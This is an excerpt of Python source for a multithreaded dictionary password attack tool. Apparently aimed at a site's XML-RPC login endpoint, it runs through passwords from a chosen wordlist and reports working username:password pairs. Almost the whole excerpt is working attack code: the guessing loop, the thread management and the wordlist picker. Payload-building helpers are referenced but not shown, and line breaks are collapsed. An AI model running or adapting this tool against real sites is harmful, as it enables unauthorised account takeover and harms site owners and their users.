def perform_attack(self): progress_bar = tqdm( desc=current_time(), total=self.pass_word.__len__(), dynamic_ncols=True ) for pass_word in self.pass_word: try: payload = self._create_payload(self.user_name, pass_word) request = self._make_xmlrpc_request(payload) progress_bar.update() if self._stopped(): # stop the loop in the thread break else: if request is not None: self._result = {} self._result.__setitem__("user_name", self.user_name) self._result.__setitem__("pass_word", pass_word) self.stop() break except RequestException as Err: tqdm.write(current_time() + f" Connection error due to {Err}") break progress_bar.close()
def __exit__(self, type, value, traceback): if type is not None: if type is FileNotFoundError: print(current_time(), "please input only existing file!") self.file_object.close() return True
def main(url: str, thread_size: int, timeout: int) -> None: user_name = get_user_name() word_list = show_word_list() with WordList(word_list, thread_size) as word_chunk: word_chunks = word_chunk.create_chunk() thread_list = [] result = None for pass_word in word_chunks: if pass_word == []: continue try: thread = DictionaryAttack(url, user_name, pass_word, timeout) thread.daemon = True thread.start() thread_list.append(thread) except XmlrpcDoesNotExist as message: print(current_time(), message) break for thread in thread_list: try: result = thread.join() if result is not None: break except KeyboardInterrupt: if thread.is_alive(): thread.stop() thread.join() if result is not None: print( current_time(), "{}:{} is valid!".format(result.get("user_name"), result.get("pass_word"))) print(current_time(), "all task are done!")
def show_word_list(): DIR = "wordlist/" # default dir of wordlist def filter_dir(element): """ eliminate directory in file list """ return os.path.isfile(DIR + element) list_file = os.listdir(DIR) list_file = list(filter(filter_dir, list_file)) list_file = list(map(lambda file: DIR + file, list_file)) try: for count in range(len(list_file)): content = list_file[count] print(current_time(), "{}. {}".format(str(count), content)) else: print(current_time(), "select your file number : ", end="") user_input = int(input()) except (KeyboardInterrupt, ValueError): os._exit(1) return list_file[user_input]